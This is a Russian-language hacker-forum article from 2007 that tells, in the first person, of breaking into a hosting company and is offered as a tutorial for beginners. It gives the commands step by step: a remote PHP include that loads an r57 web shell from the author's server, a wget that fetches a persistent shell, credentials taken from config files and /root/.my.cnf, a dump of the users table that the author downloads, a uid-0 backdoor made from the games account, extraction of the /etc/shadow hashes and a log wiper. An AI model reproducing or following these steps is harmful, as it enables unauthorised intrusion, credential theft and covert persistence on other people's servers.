ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

История одного взлома...
  #1  
Старый 06.04.2007, 23:25
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию История одного взлома...

[интро]

В этой статье я опишу пример взлома базы данных одного, не очень известного хостинга, со всеми вытекающими отсюда последствиями.
Итак, все началось, как всегда, довольно банально. Общался на форумах и в icq, параллельно ища что-нибудь интересное в сети. На одном из форумов меня привлек небольшой баннер какой-то хостинговой компании, тут же промелькнула мысль, раз делать нечего, почему бы не проверить их сайт на наличие дыр...
Первым делом, нацепив проксик, открыл сайтец (назовем его 8o-hosing.com). Хостинг забугорный. Что сразу бросилось в глаза, так это обилие скриптов на сайте. Очень много каких-то документов, статей по теме web-дизайна, раскрутке, etc...

[действуем]

Я приступил к делу. После 15-тиминутного поиска багов, так ничего и не нашел кроме нескольких бесполезных XSS. На время я забил на web и решил просканировать сервер nmap'ом с одного забугорного шелла.
nmap -vv -O -S 69.50.201.7
Сканер выдал, что на сервере открыты порты стандартных сервисов - ftp, ssh, smtp, http и pop. Как оказалось, баннеры этих сервисов были спрятаны, это означает что я не мог узнать версии этих сервисов, а следовательно и искать под них удаленные эксплоиты. Казалось что ситуация безвыходная... с этой мыслью я смирился на время и пошел спать... На следующий день решил все-таки попробовать одолеть этот сервак. Долго думал, какими методами можно было это сделать. Ничего более умного чем проверить на уязвимости "соседей", вспомнив про сервис от domainsdb.net.

[свет в конце туннеля]

Но я не стал торопиться, вспомнив про файл http://8o-hosting.com/robots.txt, замеченный мной еще вчера. В тот раз я не придал ему особого значения, но сейчас для меня он являлся маленькой надеждой на успешный взлом
Вот содержимое robots.txt:
Цитата:
User-agent: *
Disallow: /send.php
Disallow: /welcome.php
Disallow: /my.php
Disallow: /includes/
Disallow: /images/
Я запустил скрипты send.php, welcome.php и my.php, но ничего особо интересного я из них не узнал. Меня привлекла директория /includes/, пройдя по ней, я честно говоря, немного удивился... директория была доступна для листинга Тут лежало много php скриптов, я пробовал запускать их по-отдельности, но, к сожалению, большинство из них выводили в браузер лишь пустой экран. Но не все было так плохо, как кажется на самом деле Я наткнулся на скрипт settings.php, вызвав который получил массу ошибок, среди которой нашел и самую интересную:
Цитата:
Notice: Undefined variable: path in /home/8ohosting/public_html/includes/settings.php on line 7
Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /home/8ohosting/public_html/includes/settings.php on line 8
На моем лице промелькнула легкая улыбка, так как увидел явные признаки php-include бага Поспешив вводить url вида http://8o-hosting.com/includes/settings.php?path=http://mysite.narod.ru/shell.php, я на секунду задумался о том что опция allow_url_fopen в php.ini будет выключена, но мне повезло и на экране я увидел загружающуюся страницу r57shell Сервер крутился на линуксе, эксплоитов под это ядро на данный момент нет.

[Осматриваемся]

Решив что для удобства нужно залить шелл на сервер, я выполнил команду для поиска директорий достуных для записи:
find /home/8ohosting/public_html/ -type d -perm 0777 -ls
Доступной оказалась дира /home/8ohosting/public_html/images. Команда which wget curl fetch; выдала что в системе есть wget и curl. Далее заливаю шелл:
wget http://mysite.narod.ru/shell.php -O image.php
Скрипт успешно залился. Вспомнив, что в includes/ я видел скрипт config.php, поспешил прочесть его. Внем была информация о доступе к БД.
Часть кода config.php:
Код:
$conf['host'] = 'localhost';
$conf['user'] = '8ohosting';
$conf['pass'] = 'v7fhdT0k';
$conf['dbnm'] = 'hosting';
Решил покопаться в базе и посмотреть нет ли там чего интересного для меня
Успешно подключившись, посмотрел какие базы мне были доступны - hosting и test. Естесственно я сразу начал просматривать таблицы базы hosting, среди которых, нашел очень интересную, h_servers. Выполнив запрос select * from h_servers limit 0,5;, я увидел содержимое полей, среди которых наиболее важными для меня оказались server_ip, server_user, server_password.
Пароль, как ни странно, был в открытом виде. В таблице было всего 2 сервера, один из которых, почему-то не был доступен, но вот во второй я вошел удачно, используя логин admin и пароль password из базы.
Посмотрев на свои права я немного вздрогнул, uid=0 gid=0 Убедившись что в системе никого нет кроме меня, я начал осматриваться.

Для начала я посмотрел список сайтов, хостящихся на этом сервере, просмотрев /etc/named.conf. Всего около ~300 сайтов, неплохо =) Затем я обзавелся задачей получить root доступ к MySQL. Введя команду на поиск файла .my.cnf, find / -type f -name ".my.cnf" -ls.Немного подумав, система выдала мне путь /root/.my.cnf, прочитав который я увидел данные для полноценного доступа к mysql.
Содержимое .my.cnf:
Цитата:
[client]
user="root"
pass="tus7kd64mv2n"
Отлично, теперь заходим в консоль управления mysql.
Цитата:
admin@services [~]# mysql -uroot -ptus7kd64mv2n -hlocalhost
mysql> show databases;
+--------+
| mysql |
|hosting |
| .... |
+--------+
mysql> use hosting; show tables;
+---------+
|h_users |
|h_servers|
| ..... |
+---------+
mysql> select * from h_users into outfile '/root/dump.sql';
Итак, дамп нужной нам таблицы есть. Теперь переходим в /root, архивируем дамп и копируем в какую-нибудь директорию, видимую из инета.
Цитата:
admin@services [~]# cd /root;tar -cf dump.tgz dump.sql;rm-rf dump.sql;mv /root/dump.tgz /home/8ohisting/public_html/dump.tgz
Затем сливаю архив с дампом себе на комп (http://8o-hosting.com/dump.tgz) и удаляю архив с шелла (rm -rf /home/8ohisting/public_html/dump.tgz). Основная миссия на этом закончена =) Осталось закрепиться в системе и замести следы. В этот раз я не стал сильно заморачиваться, а просто заменил права пользователа games на нулевые.
Цитата:
# Изменяем /etc/passwd
admin@services [~]# cd /etc/;cat >passwd
.....
games:x:0:0:games:/games/:/bin/bash
.....

replace passwd? y
# устанавливаем новый пароль пользователю games
passwd games
Итак, мы немного подкорректировали права пользователя games. Метод конечно палевный, но в тот момент у меня не было желания троянизировать систему.
Итак, осталось дело за малым, подчистить за собой весь мусор. На всякий случай узнал хэши всех пользователей системы:
Цитата:
cat /etc/shadow|awk -F ":" '{print $1":"$2}';
Установив логвайпер, потер за собой следы пребывания в системе, и с чувством выполненого долга, начинал думать о новых "приключениях" =)

[заключение]
Во-первых, эта статья, в первую очередь будет полезна новичкам, т.к. в ней нет ничего сверхестественного
Во-вторых, как я уже писал выше, я не стал заморачиваться с протрояниванием системы, об этом ясно изложено в этой статье от ShadOS.
Ну и в-третьих, желаю тебе удачи На этом все.

Превед: ice1k

(c) p-range :: AltST
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
История одного взлома. Добыча маленьких хакерских радостей. 1ten0.0net1 Авторские статьи 10 23.10.2006 03:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ